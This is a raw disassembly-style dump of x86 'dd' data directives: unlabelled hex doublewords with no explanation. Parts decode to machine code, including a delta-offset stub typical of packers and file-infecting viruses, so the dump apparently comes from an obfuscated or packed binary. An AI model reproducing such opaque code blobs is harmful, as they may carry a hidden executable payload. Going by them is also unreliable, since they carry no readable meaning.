		dd 0C56CD84Dh, 0E0F5EF83h, 63912A62h, 0F99DF9D8h, 81FE5BC7h
		dd 2DB2FADBh, 0CF79B2ADh, 11CB340Ah, 6A0E2F59h,	31EA910Eh
		dd 0C2E3C2E7h, 0B82D138Ah, 930C680Ch, 0C2E731E8h, 2188C0E1h
		dd 0A73EA61Fh, 9704D938h, 394B2FCCh, 70EB0017h,	67D35ECh
		dd 6517651Ch, 0C98171EFh, 0FF645A12h, 77DC9F00h, 3EA5B94Ah
		dd 0E8C9E89Eh, 41067F41h, 48533E4h, 0D43D5349h,	734DD4F5h
		dd 4F37AE0Eh, 980DEA34h, 8B12D233h, 76EF4DB5h, 0DC487657h
		dd 132D4968h, 88A930B4h, 7F0D69C0h, 804ADDECh, 0D587F898h
		dd 2182BCF4h, 652BADF0h, 49D63FFAh, 0DBA988B9h,	0D2F32C8Eh
		dd 0BDF4Bh, 496D0000h, 2DB2132Dh, 6F2706B6h, 67D54FDDh
		dd 0E163C0FEh, 61DB4678h, 0E55FC6F8h, 60E4427Ch, 0E361C7F9h
		dd 61DB447Ah, 0E25AC6F8h, 63E1457Bh, 0EC81EDFAh, 4, 57241C89h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h, 104E6824h
		dd 2C890000h, 4AE66824h, 0C890000h, 0D89CB924h,	0C8890649h
		dd 2C8B5459h, 4C48124h,	53000000h, 8BBh, 52EB0100h, 1389C289h
		dd 34FF5B5Ah, 0C4815D24h, 4, 5124048Bh,	0C181E189h, 4
		dd 8704C183h, 0E95C240Ch, 0FFFA9ACEh, 1A043F6Ah, 0B8DB5A24h
		dd 63863F5Ch, 0D8B8BD3Ah, 30649E3h, 50E0FFC5h, 1D7055F7h
		dd 5D3A7934h, 21362E2Dh, 21389C11h, 3D1218DDh, 507B83C1h
		dd 65B0280h, 0B802F02Fh, 2135DA33h, 0F6077440h,	3A48050Ah
		dd 0D2538E61h, 0D31E8B75h, 0AD4040BCh, 6630C37Fh, 0D6194F46h
		dd 0EB49FF7Dh, 24h, 8 dup(0)
		dd 0BDE900h, 0B5890000h, 649E4A7h, 2F11858Bh, 858B0644h
		dd 6440F6Dh, 0E4F1B58Dh, 858D0649h, 64740A2h, 55C3D0FFh
		dd 0E8h, 0ED815D00h, 649E4F7h, 2F11BD83h, 0F010644h, 2C85h
		dd 0A7B5FF00h, 8B0649E4h, 440F6D85h, 27363506h,	0D0FF3481h
		dd 850F013Ch, 0Ah, 1B8h, 47E900h, 0C0330000h, 40E9h, 8D1C6A00h
		dd 49E4ABB5h, 0B5FF5606h, 649E4A7h, 0F6D858Bh, 36350644h
		dd 0FF348127h, 0CC483D0h, 0E4ABB58Dh, 468B0649h, 4E08314h
		dd 0F04F883h, 784h, 0E9C03300h,	5, 1B8h, 11BD8300h, 106442Fh
		dd 7850Fh, 0C35D0000h, 2E9h, 8DCF5D00h,	49E4D085h, 0F5858906h
		dd 0E8064420h, 0Ch, 10CD591Bh, 1BABB1AFh, 0E8C5923Dh, 0F68166h
		dd 0C0815833h, 5CDEh, 68F78B66h, 0
		dd 99BE6657h, 8B5A5E74h, 0BE66103Ch, 0F78193B8h, 20001670h
		dd 9278E681h, 0F78144D9h, 317EFD74h, 41BA6660h,	6147B21Bh
		dd 8C99EF81h, 880F510Dh, 4, 5E0EB756h, 66103C89h, 0D9F8DB81h
		dd 0EA817FB1h, 2EE96BD2h, 0E17B36BEh, 0CEC28109h, 0F2EE96Bh
		dd 0FA81F7BFh, 0FFFFA3A0h, 0FFA5850Fh, 8D8DFFFFh, 649E712h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 89C35747h
		dd 0CA93B992h, 60C690C5h, 6196D280h, 1BEDBD8Bh,	9560644h
		dd 44102985h, 8D895806h, 6442F5Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 82C35040h, 0BF0FF36Ah, 18E0FC3h
		dd 0FC000000h, 67985C7h, 68E40644h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 0D353B7C3h
		dd 26AA5F7Ch, 3652BF4Eh, 85C74F9Dh, 6441071h, 0
		dd 7E8h, 7A588600h, 0DDA1DF3Bh,	3F9BD89h, 295F0644h, 4406BD95h
		dd 71B5FF06h, 6A064431h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0CB72C351h,	0BF995FFh
		dd 0B70F0644h, 0FF006AD8h, 441C4D95h, 0EBC08B06h, 4B81F12Ah
		dd 29093CF6h, 0A0E49E61h, 0E25E7C44h, 0D9299189h, 0C59E90CDh
		dd 0BC1602ECh, 11F3FB98h, 6A1E0D21h, 577B0A07h,	0EB98F354h
		dd 78AC308h, 40000040h,	0C32E902h, 0F5680000h, 0E90649E8h
		dd 0FFFB6114h, 49E9F168h, 610AE906h, 4768FFFBh,	0E90649EBh
		dd 0FFFB6100h, 49EBFD68h, 60F6E906h, 0DF68FFFBh, 0E90649ECh
		dd 0FFFB60ECh, 49EE7868h, 60E2E906h, 0E68FFFBh,	0E90649EFh
		dd 0FFFB60D8h, 49F09568h, 60CEE906h, 0E568FFFBh, 0E90649F1h
		dd 0FFFB60C4h, 66344F8h, 0D8BD9A25h, 36641FBh, 0D9BC9B20h
		dd 56047FAh, 8D306911h,	52ECCFAAh, 8A331075h, 53EBC8ADh
		dd 0F3901174h, 6224E157h, 0E281D631h, 7BA138ACh, 58ED967Ch
		dd 0CDEA52DFh, 0DF69CDAEh, 0E0372BC3h, 0D1F2C97Ch, 12B4E69h
		dd 0B89F225Ah, 0E0831F83h, 3A1DA083h, 8F399D01h, 5E372BC3h
		dd 2BC34CFAh, 62EF7337h, 4B284BFEh, 6EC93505h, 0A6C50F9Ch
		dd 2B58B402h, 0A2178B37h, 0E73B7906h, 4724B83Dh, 7F368024h
		dd 9509316Fh, 15BF1B20h, 0FF316F7Fh, 57761E5Eh,	3577F22Bh
		dd 2Dh,	0C7A05BB2h, 0B6D700A4h,	0F66A3DE7h, 69CDAECDh
		dd 316FC8DFh, 5E79C3E0h, 79D377C2h, 93316FC8h, 0E30A0A32h
		dd 4977F2DFh, 0C2h, 0CDEA52CEh,	14338DAEh, 4B99AA1h, 833B1823h
		dd 4BC9FA4h, 0DD634023h, 59E2C1FAh, 3257E27Eh, 2BCCE996h
		dd 865EE637h, 2BC69422h, 0AB37AB37h, 7156EBC8h,	663D64Ah
		dd 81BA9D25h, 5E79C1E2h, 5D1AC1EBh, 0C37E5D3Eh,	52F551E4h
		dd 853DE7CBh, 0A3567C19h, 0F40DA9CAh, 373BA123h, 53EBC8ABh
		dd 0C1ACCEA6h, 0F16DE00Ch, 80E356CAh, 5C391EA3h, 77E5C27Fh
		dd 5D6EC8A4h, 0C5EF6A51h, 0A7000009h, 7A593C1Bh, 0A487E2C5h
		dd 7F5C391Eh, 0A586E3C4h, 4E5A3F18h, 89AE138Ah,	5671CFECh
		dd 8EA91033h, 5770C8EBh, 74D0B332h, 31622BC2h, 5225A2F5h
		dd 8EADC8EFh, 11721136h, 2BC303B5h, 1DA83437h, 0A05BFF78h
		dd 3D87A4C7h, 8BD211Ah,	0B618CF6Bh, 0D2F13DE7h,	6A4DF46Ch
		dd 52CE43F6h, 0C867CD69h, 0EE8D316Fh, 255B76A0h, 0B60303E2h
		dd 22DE717h, 6E77F265h,	0BCh, 8F3112E9h, 2C0F93A8h, 1488B394h
		dd 1D3A82A1h, 9FB80526h, 0CC7F00A4h, 0D46C372Bh, 0DB596F3h
		dd 803B112Ah, 0C64AFC58h, 4E6D372Bh, 0D14DD1F6h, 0DA2F91B2h
		dd 18E49351h, 70C559ABh, 9110B713h, 0DB473DE7h,	4F93DDBEh
		dd 94B30D86h, 0EA12F4DAh, 0D34F7453h, 29D0FA4Fh, 24C2F4Ch
		dd 93DF73ACh, 13AD8E12h, 26930F34h, 0A1B96A82h,	3251CD3Bh
		dd 0EE8BAC11h, 0C55770CDh, 5D6F592Ch, 0C90386BDh, 0A3000008h
		dd 7E5D381Fh, 0A083E6C1h, 7B583D1Ah, 0A182E7C0h, 4A5E3B1Ch
		dd 0F5D26F8Eh, 2A0DB390h, 0F2D56C4Fh, 2B0CB497h, 8ACCF4Eh
		dd 31622ABEh, 5251D681h, 8EADC8EFh, 0F3741136h,	0F6CDEA52h
		dd 2F4A6DD5h, 0FA995605h, 0E7B9E15Eh, 0B40D2E3Dh, 37AB2693h
		dd 0B0972F0Ch, 964EF6D5h, 6FD98432h, 0BB27BB31h, 0B4EF2480h
		dd 2C4FB8A1h, 0AE8CFB62h, 0A015E5CCh, 9D25DD01h, 33758068h
		dd 95B64D53h, 0AB370C2Bh, 0C9715237h, 54C8EF51h, 3A60CB6Fh
		dd 56E9BAA1h, 0D7694A71h, 4FEECBF0h, 2B8AA80Fh,	0AC8B33F3h
		dd 0CA52EAC9h, 0F3C85473h, 0A13AF857h, 639B3ABAh, 0E1EE1BA3h
		dd 0CFD9ACE2h, 0B32F08B5h, 0A294A2Fh, 33AF94B3h, 3D88AF10h
		dd 0BA81A61Eh, 6F0CE990h, 6DEAC8CBh, 1673EFB0h,	0C3A07D3Ch
		dd 59E0C3A0h, 7DD9457Eh, 0A4E5A8CBh, 0E4DFF842h, 0DC69F578h
		dd 29F9C378h, 417AE6AEh, 4ABF0122h, 0A9D4DA21h,	0A3168A29h
		dd 39A3AC07h, 0B7E746ADh, 2486B2DDh, 4369EE4h, 0D5190000h
		dd 372BC363h, 2BB3D77Dh, 0DF4BD937h, 0EF45372Bh, 6F372BD7h
		dd 0B390F3ACh, 88142F08h, 1E3D5E3Dh, 0A4833BA3h, 0A49F039Fh
		dd 0A6298D38h, 0C93DE783h, 2260C755h, 8EB557A0h, 7730Bh
		dd 8EA91500h, 5077C8EBh, 8BAC1635h, 5176CDEEh, 8DAA1734h
		dd 0DD3CFCE8h, 1224760h, 0DEFD98BFh, 6254067h, 7DFC99BEh
		dd 280CBA1Eh, 64333162h, 0CDEA52E3h, 401DDCF6h,	0EA768723h
		dd 0E2C13DE1h, 0B81C7F58h, 31622B0Eh, 5431AD31h, 0E19868FCh
		dd 50C36704h, 673BAE26h, 0B5FB98FBh, 0D08A9639h, 43F55171h
		dd 743BA6FBh, 70D45DE8h, 4A47BF85h, 0E0835C1Fh,	9BCF344h
		dd 615AC686h, 73C56102h, 44F519BEh, 0C4FFD867h,	3A7C458h
		dd 0F519BEB5h, 89A3168Ah, 3314AAD2h, 6B089408h,	0D5FBD8CFh
		dd 2043DFFFh, 0F99CBB03h, 0D74562DAh, 9992DA6Ah, 0BD61E4DFh
		dd 0AF000006h, 72513413h, 0AC8FEACDh, 77543116h, 0AD8EEBCCh
		dd 46523710h, 0F1D66B92h, 2E09B794h, 0F6D1684Bh, 2F08B093h
		dd 0CA8CB4Ah, 316228BAh, 12AD2A7Dh, 94AF8831h, 112A0DB7h
		dd 8EA4118Dh, 0D57112CBh, 3DE7B96Ah, 89EAD14Dh,	143710AAh
		dd 183B8EA9h, 9FBC87A0h, 794BD520h, 0E55A84F8h,	0DC614279h
		dd 7A3C0FBh, 316F14B1h,	0F3521A86h, 4F2C64CBh, 373A2901h
		dd 894AF88h, 2BF54646h,	0EFF3F9Eh, 55F1924Bh, 3BA33EEAh
		dd 113251CDh, 593C89AEh, 0A36257FDh, 7BD9E3Bh, 32871B20h
		dd 0A3622096h, 0D49AF93Bh, 1F994DEAh, 9C2A8E71h, 0A33BA3BBh
		dd 0F9A08A3Fh, 5F3C5F3Ch, 0A3BB4DFBh, 5BEE723Bh, 69920EFFh
		dd 8EB52931h, 0F99C9B2Ah, 9C1EB725h, 2F9725F9h,	3D519A08h
		dd 0AF944336h, 5DB2Ah, 16318D00h, 0C8EF5073h, 13348EADh
		dd 0C9EE5576h, 15328FACh, 45B46470h, 99BADFF8h,	46650027h
		dd 9EBDD8FFh, 0E5640126h, 2F942286h, 0FCAB3162h, 0C7A05B7Bh
		dd 1A3D87A4h, 8CAFCCAFh, 0B12D1631h, 0EA51A004h, 78E43DE1h
		dd 0FFD86043h, 5306B09Ah, 0D4F34B68h, 0B22A92B1h, 8DB62A0Dh
		dd 0A3116AEh, 0AD558928h, 66573215h, 77ED0347h,	17E25h
		dd 0A05BA200h, 300A4C7h, 363DE7B0h, 178BAC15h, 0D33C882Ch
		dd 9A8316Fh, 0B87524D5h, 6443F8DBh, 1576C35Fh, 7B11576h
		dd 0D6316FD3h, 6FD3C472h, 0EA67FB31h, 6467C376h, 933BA3A0h
		dd 0F1496A0Fh, 72D6B5D6h, 3BA3E3C4h, 0E9D267FBh, 305572CAh
		dd 0E5865F1Ah, 645F78C6h, 8A2E4DF8h, 316F80F5h,	3793A834h
		dd 25E7829Dh, 0EEA6D677h, 6B6AA5BFh, 36ADh, 0A05B2A00h
		dd 0D700A4C7h, 6A3DE7B6h, 0C81BAD09h, 801C316Fh, 2983271Ch
		dd 0C3316FC8h, 46083A62h, 12DCAD21h, 5176CCDFh,	0DF6AF66Ah
		dd 0F23FBFEEh, 0C0AD77h, 522A0000h, 0D5F6CDEAh,	6F48F068h
		dd 69523A21h, 49D5C194h, 365F1172h, 0A81AF939h,	0F5D2684Bh
		dd 0C4E752CEh, 76385B7Ch, 0FFC2DC6Fh, 0EED5606Eh, 9AD75CDh
		dd 372BDABFh, 8FB4932Eh, 9E029E13h, 0D5205FFBh,	11A9372Bh
		dd 0C2795336h, 41E586E5h, 372BDEF7h, 77FADD66h,	0BF18A5EBh
		dd 4ECADB8Bh, 523C98FBh, 0F53DE5FAh, 4A690A69h,	4665D0F7h
		dd 9AB9DCFBh, 93920027h, 8657A31Fh, 44238BDh, 962A0000h
		dd 48F7D4B1h, 93290A6Fh, 49F2D1B4h, 95280B6Eh, 17C3D7B2h
		dd 197C5BE6h, 0C6A3843Ah, 1E7B5CE5h, 0C7A2853Dh, 37812546h
		dd 831622Dh, 0EF52D85Fh, 368EADC8h, 0E8517211h,	0DD68F4CFh
		dd 0EA523FB8h, 0B695F6CDh, 6C6FF80Dh, 0BC4DBBC2h
		dd 0EB69520h, 0D5CB4C29h, 372B437Fh, 2B43DB71h,	78A05B37h
		dd 0C8B435C0h, 5784CA0Fh, 903457CBh, 3DE1E561h,	597348D4h
		dd 2A6C5A2h, 3BAE512Dh,	932581E2h, 0A43BA5D2h, 9C008D38h
		dd 6A73110Eh, 0AA2F145Dh, 3ACh,	0A2C7E05Ch, 7C193E81h
		dd 0A7C2E55Fh, 7D183F84h, 0A1C4E35Eh, 299405B5h, 0F6486B0Eh
		dd 2E97B4D1h, 0F74F6C09h, 5734B5D0h, 622C45F3h,	0AA2D7A31h
		dd 0F6CDEA52h, 2F4A6DD5h, 0FA995605h, 0E7A0215Eh, 0DA4E003Dh
		dd 6542F874h, 8C825D2Bh, 0A93512AFh, 7651E9CAh,	0F65CF8C3h
		dd 1C316FB7h, 0C5E25C7Fh, 0E7ADD170h, 77F272C8h, 3CA4h
		dd 0A05B2300h, 3987A4C7h, 0CB9251Eh, 0B61CCB6Fh, 233DE7h
		dd 38039FB8h, 5AF2155Bh, 0F5B47481h, 324EE440h,	5A4316Fh
		dd 272769D9h, 96AC98C8h, 7699A81Dh, 0DA77F2D9h,	131h, 32EA525Dh
		dd 0A026117Ch, 1EBAC139h, 372B8BA8h, 0EC8F138Fh, 8B9D2B8Fh
		dd 3EA2372Bh, 0BB80A71Dh, 8AA99227h, 82B1037h, 97F497B0h
		dd 2B8B8533h, 66927937h, 47322621h, 0D8E356CAh,	16443FBh
		dd 2BB4DAA5h, 6C4BF337h, 0D952C0Fh, 30AC97B0h, 0BE0B97ACh
		dd 0D840F8DBh, 0E5DE4265h, 30530CCFh, 0E7DC4794h, 0B6EF23Dh
		dd 0B4712668h, 6E56232Ch, 3C72C7EDh, 61E598CEh,	12C6D2DAh
		dd 0A88237ABh, 345734F1h, 6FBA2690h, 30851931h,	5197F753h
		dd 0A3C03BA1h, 0A0E1B107h, 0F18F453Bh, 0BEA7B544h, 68CCAF33h
		dd 3BA090DEh, 82E17DE1h, 73C1BA1h, 2E4D2E9Bh, 905FE94Dh
		dd 0FC603BA0h, 0F04562DFh, 829B6ED3h, 0C7E058B0h, 0AD2E60FCh
		dd 0CBAE3217h, 0E07255E8h, 5D6FC0F5h, 25A2271Ch, 0C7000002h
		dd 1A395C7Bh, 0C4E782A5h, 1F3C597Eh, 0C5E683A4h, 2E3A5F78h
		dd 0A98E336Ah, 7651EFCCh, 0AE893013h, 7750E8CBh, 54F09312h
		dd 316233E2h, 520582D5h, 88ABC8EFh, 0C1A41136h,	26825AE2h
		dd 372BC390h, 0C2A73BA7h, 1A3D82A1h, 9EB90221h,	10A539A5h
		dd 0C7A05B97h, 0A53D87A4h, 9A063D1Ah, 14A13D06h, 0B604D377h
		dd 753B3DE7h, 0FA40BF96h, 36C193DDh, 0FCDFBC20h, 4265DB43h
		dd 0CC79E579h, 0EB794F7h, 92389C29h, 78316F80h,	0C0EFA5D9h
		dd 8D77F2A7h, 863314AEh, 0F9C4h, 0EA524300h, 0C3209632h
		dd 0B9372Bh, 1536AA27h,	2CB08BACh, 0A6E88BB0h, 0B11749Eh
		dd 0FCDF6A3Ch, 0F95D6641h, 372B8286h, 0FD98BF07h, 7BE6D09Eh
		dd 0CBB96A95h, 0C2E55D7Eh, 0E03882A1h, 2B8FF244h, 0C559C537h
		dd 0ECD762FEh, 395A13C6h, 0E7ED4E9Dh, 1675E93Dh, 0F4508835h
		dd 316FAC42h, 4E75E975h, 0F4279CD2h, 0F415734Ah, 4B0E2441h
		dd 5455F192h, 873BA1B0h, 551B781Bh, 440B5A78h, 3310A5EEh
		dd 8AAD168Eh, 0B2167516h, 3BA05F04h, 0F08A41F8h, 139EB1FDh
		dd 3C5F3A8Fh, 3DB2115Fh, 50AED1C1h, 0A0FE42F4h,	5CE9753Bh
		dd 77E5C27Fh, 5D6F5F94h, 0D53FBA81h, 0B7000000h, 6A492C0Bh
		dd 0B497F2D5h, 6F4C290Eh, 0B596F3D4h, 5E4A2F08h, 0F9DE639Ah
		dd 2601BF9Ch, 0FED96043h, 2700B89Bh, 4A0C342h, 316232B2h
		dd 5255D285h, 0C8ABC8EFh, 2BC3DA6Ch, 0F441DD37h, 2D0AB291h
		dd 0EA52CF48h, 6DD5F6CDh, 0EE4A294Ah, 372BC358h, 1376C35Fh
		dd 0C6A58239h, 0E1EA9762h, 0D36AA3Dh, 1FA90D6Eh, 20316224h
		dd 5BC4F2BCh, 0DE76477h, 4239BB8h, 0DDFA4261h, 0E86042E6h
		dd 3392FB94h, 9C385B0Bh, 7BB3E92Ah, 0A182EECEh,	7EF3C572h
		dd 0CC7457E2h, 0D9C688EBh, 0D49694B7h, 0C2F4AFFh, 0B4932CB4h
		dd 910D2A97h, 4C6BD1F2h, 655EEB77h, 0E1DAFD46h,	42FAD9BAh
		dd 4D71D065h, 0AFCAED55h, 2813348Ch, 0BADh, 56EDCE00h
		dd 0CE5275CEh, 60E7FC7Bh, 0F2C9EE52h, 754E69D1h, 0F3C8EF56h
		dd 72496ED0h, 0F0CBEC51h, 72496ED3h, 0F6CDEA51h, 73486FD5h
		dd 0F3C8EF50h, 0E6895670h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 68243C89h, 7861h, 51243489h,	0C181E189h, 4, 4E981h
		dd 0C870000h, 3C895C24h, 0EDBD5524h, 811F7D64h,	4D782BC5h
		dd 81D5F75Fh, 422681F5h, 9FE58115h, 8155C949h, 0F36FCFCDh
		dd 25ED8147h, 8951A988h, 8B545DEEh, 0C483243Ch,	0BD555604h
		dd 2F4C19F7h, 4246C31h,	8478F5Dh, 0F7087781h, 0FF2F4C19h
		dd 835F2434h, 348B04C4h, 0E0895024h, 405h, 4C08300h, 5C240487h
		dd 0FB54F7E9h, 90AF49FFh, 4B567200h, 0EDE4E18Dh, 49F2DFB8h
		dd 0FFC50306h, 1469F3E0h, 1F330140h, 6137AB25h,	0D0D18B10h
		dd 1B92686Dh, 0B57E0F74h, 32828471h, 64E1A414h,	9B6ACF29h
		dd 0BF90D667h, 0BA669D16h, 0C7B44405h, 0B28D8D3Ch, 6A0649F4h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 5611C351h, 5DEB8168h, 89716C1Ch, 442F5D8Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1704h
		dd 0C3524200h, 7492F2C7h, 16C9B509h, 85C70644h,	6440679h
		dd 6D98h, 1D619D89h, 85C70644h,	6441071h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0CEC35343h
		dd 0FF82FAC0h, 44196DB5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 9EE43CE3h
		dd 4DBD8BF1h, 0FF064431h, 440BF995h, 14E906h, 0EF9C0000h
		dd 0A74630E2h, 0CE416558h, 7624D5Ah, 0A3692372h, 12E9385Ch
		dd 1E000000h, 0B59998BAh, 6F4C1E57h, 108E7FE5h,	0D3797AA6h
		dd 0FF006A22h, 441C4D95h, 0EBC08B06h, 3414B36Ah, 6E6704EAh
		dd 0EF2AC73Dh, 5961AA80h, 0ACC1C05Bh, 0C18F3497h, 46064661h
		dd 3CB83BADh, 7DA6EDEBh, 0F99C8168h, 263002CEh,	0FED542D4h
		dd 4001061Bh, 0ECB71025h, 6D1A1F14h, 3D52A2AEh,	8639CC3h
		dd 0F23D3B50h, 11C202A0h, 9D17B2E2h, 45F5FF1Bh,	7DF7488Fh
		dd 0C0AE5B4Fh, 0EBC5E79Ah, 0DBABF1D4h, 7191A1CBh, 0E982738Ch
		dd 0ABh, 3F2E8D50h, 5F72B11Ch, 0A7ACABDAh, 4592B395h, 0B395A1F4h
		dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
		dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh,	9CB2E9B5h
		dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
		dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
		dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh,	93BCF996h
		dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h,	899BE0CEh
		dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0E80097B3h
		dd 94E7A601h, 7483323Dh, 0E921D886h, 1226h, 49F77968h
		dd 8938E906h, 6F68FFFAh, 0E90649F8h, 0FFFA892Eh, 49F97368h
		dd 8924E906h, 0DD68FFFAh, 0E90649FAh, 0FFFA891Ah, 49FB4E68h
		dd 8910E906h, 0D668FFFAh, 0E90649FBh, 0FFFA8906h, 49FC9D68h
		dd 88FCE906h, 5168FFFAh, 0E90649FDh, 0FFFA88F2h, 49FE0668h
		dd 88E8E906h, 4868FFFAh, 0E90649FFh, 0FFFA88DEh, 4A004668h
		dd 88D4E906h, 0DF68FFFAh, 0E9064A01h, 0FFFA88CAh, 4A02FA68h
		dd 88C0E906h, 0B168FFFAh, 0E9064A04h, 0FFFA88B6h, 4A057B68h
		dd 88ACE906h, 0C123FFFAh, 188CB21Bh, 0C73B05ACh, 1D82BC15h
		dd 0BE2816BFh, 0A38DAF06h, 3C954FB9h, 8821A302h, 38914BB6h
		dd 8E279D06h, 8A31AECAh, 43C2E69Eh, 0D64FA715h,	5CC9F76Eh
		dd 77E88CE8h, 0C93094C4h, 0C56C2405h, 0C2A6EF83h, 74B5675Dh
		dd 2394E6CFh, 0A402AD32h, 8C138AABh, 0C2EB9AC9h, 8166B0CBh
		dd 0FBAFB625h, 38CEh, 9B377C00h, 0DE487612h, 75540879h
		dd 34C6593Dh, 95CF749Fh, 3B22DB4h, 0F5C2EC89h, 0A08E391h
		dd 8FC260EEh, 8D72BCC7h, 0FBB06419h, 0CD6FD0EEh, 6D3D7554h
		dd 0A8h, 6ED64FDFh, 0E55FC9F7h,	63E1427Ch, 0E55FC4FAh
		dd 9A42BF81h, 2AE47BD2h, 23C93098h, 95AB02C2h, 0EED0B430h
		dd 7455CC78h, 4FE3A53Ch, 6F3DA2C6h, 0BECF7494h,	0E070369Fh
		dd 36AE3155h, 97C9333Bh, 7AECD2B6h, 56CF6DD5h, 56325677h
		dd 2DEB12C9h, 40DFBBC9h, 0C92DEB99h, 0C321332h,	0C66F2795h
		dd 73D68EF8h, 7DEE4A6Bh, 0C29C0891h, 3600000Fh,	87B910CCh
		dd 320CA51Fh, 0F9C76ECEh, 437DD488h, 0F4D67FE5h, 6ED6302Ch
		dd 0D68EF9C7h, 7AE2417Fh, 0CC78EDD3h, 0DA452165h, 0C2E69D1Fh
		dd 4F4CFEA8h, 0FCC26BD9h, 0C674DD87h, 35419B37h, 602CD55Ah
		dd 42DB89FAh, 7634263h,	79EB5D63h, 1689C1E0h, 0CF741A84h
		dd 45FF6957h, 1E56067Bh, 132D4968h, 0F46B0FB5h,	0C2EC0645h
		dd 76EFA786h, 0EC062EE9h, 49D5AEC2h, 0B02580E4h, 0B0B5FBh
		dd 15070000h, 0C0E75667h, 7EE73885h, 91AFE7C6h,	0A6D4B034h
		dd 0F4ECD700h, 0B665FA1Fh, 17C9305Fh, 0C65F1736h, 4FD68EF8h
		dd 30631ED0h, 73AE17C9h, 305E2DECh, 9EBF9EC9h, 289C0937h
		dd 0A0A7D5B1h, 3D3B8EEAh, 0CA4E2AAh, 0B07AE581h, 0F9CF73FBh
		dd 9B3771D8h, 6CE97612h, 0A1C9329Bh, 599F5AC5h,	928C92Eh
		dd 14724C28h, 61C7F950h, 0DBA846E3h, 0C75E7DEEh, 0ECC53h
		dd 1AC22000h, 0AB198DB3h, 18C43C02h, 0AA128FB1h, 19CB3D03h
		dd 928A92B0h, 2719B034h, 93AD04C0h, 1B258C30h, 0D7933AAAh
		dd 9C6D2CB3h, 85EC2E6h,	6BD94FBAh, 0DD87FCC2h, 2B15C674h
		dd 0F49009BBh, 3094B06Bh, 193819C9h, 4EF66F51h,	3C1B3D7h
		dd 48FC6BC4h, 0AF82F0D1h, 1DDC430Dh, 0AEC93048h, 0D8E6AE8Fh
		dd 6E50F96Bh, 102E4AF2h, 0B5940DAFh, 0E95A64FDh, 0C4B6D27Bh
		dd 6CC21016h, 388BC3BDh, 119C3433h, 0B82F1175h,	33E8930Ch
		dd 0C0E1C930h, 0AD73EC88h, 0ECCF7437h, 0D7E98DCDh, 55CAF470h
		dd 8630AFE7h, 77BA7663h, 83652DBh, 15CF369Bh, 87187C34h
		dd 0DDA64499h, 18C35C38h, 0B1D1A644h, 6E28B190h, 5D2F4BC2h
		dd 0BE26A30Ch, 51357DBAh, 83B74735h, 0BA1B4C67h, 0C4B6560Fh
		dd 2068428Dh, 0EDB0A7BFh, 0EB5866D7h, 0E0C1E079h, 9B49BA84h
		dd 0FE685632h, 0D3300E46h, 0CC40B411h, 7FE68C21h, 0DC8EBh
		dd 16C63C00h, 0BF2581BFh, 4B82816h, 8E2E93ADh, 35AF1927h
		dd 8676BE9Ch, 330DA420h, 87B910D4h, 3709A01Ch, 0FBBF16CEh
		dd 9B59009Fh, 2472C2E6h, 6ED64F96h, 4AF16E0Ah, 83C93094h
		dd 3573EAA2h, 0EB74109Dh, 0CF74C18Dh, 540798FCh, 75C2EC67h
		dd 0FE67DD4Bh, 76DFFEDFh, 7115A030h, 309798EEh,	51C8E9C9h
		dd 26960B35h, 7746F16Eh, 0D2B6C930h, 0B9825A0h,	0FC98FA13h
		dd 2FA5B863h, 783011C9h, 0D2321703h, 6301F3C4h,	58h, 129B37D1h
		dd 68DC4876h, 0FC98D0F1h, 823AA698h, 0ED723A1Bh, 0CF74E27Fh
		dd 7427B8DCh, 55C2EC46h, 6647FD6Bh, 45DE9D02h, 0CEEFC2ECh
		dd 0B5D1F086h, 0DA4188Bh, 39B51B69h, 7A96F949h,	0BCECAD32h
		dd 3491C2EBh, 0BC2719B0h, 0EA5A6400h, 60DC447Ah, 0E625B128h
		dd 9700000Ch, 940D9B37h, 0B190B128h, 8A504AD5h,	8FEBCF7Ah
		dd 0E69F6910h, 2CEF70C2h, 9DC2E69Fh, 0D5EBCABCh, 0CEB8F06Ch
		dd 50B58BEFh, 0A2033D94h, 55FDBB22h, 0BCD8BCD8h, 27BE1E82h
		dd 9EE29906h, 66F9C2E6h, 0C2E69FB3h, 62433514h,	9428B52Ah
		dd 0C4E5C930h, 0BF259EA0h, 0C480E5DBh, 9D347C5Dh, 1B8242A3h
		dd 9C5F0D7Fh, 687BA39Bh, 10CA6620h, 0AADF9759h,	52361716h
		dd 74650BCDh, 3E9BBACFh, 7BA8B7C4h, 5E07930Ah, 9200000Ch
		dd 1B258C30h, 0AE9039ABh, 1D238A32h, 0AF9138A4h, 228B39h
		dd 2C22418h, 0B23295ABh, 1EBE251Bh, 0A81C89B7h,	0BE214501h
		dd 0C2E699FBh, 0EE289ACCh, 0C9309427h, 0E98D08A8h, 7A89ED76h
		dd 6B0F2ECFh, 0DD74F055h, 0A6C282E3h, 9F9E5DC2h, 0E2FC2E6h
		dd 0F999DF46h, 80E6D8BCh, 347C5DC4h, 0CC69CF50h, 0F9D8C92Ah
		dd 0E1389C5Ch, 6FFB627Dh, 0BEDh, 9039A301h, 278E36AEh
		dd 9A33A919h, 28813BA4h, 9D34B016h, 218775BFh, 0D1340AA3h
		dd 1D84BA13h, 0BB2816BFh, 80E4A009h, 0E6995C1Fh, 893B6DC2h
		dd 0F76ED64Fh, 71E85CC9h, 5DC26C17h, 1F4AFE9h, 6CE0Ah
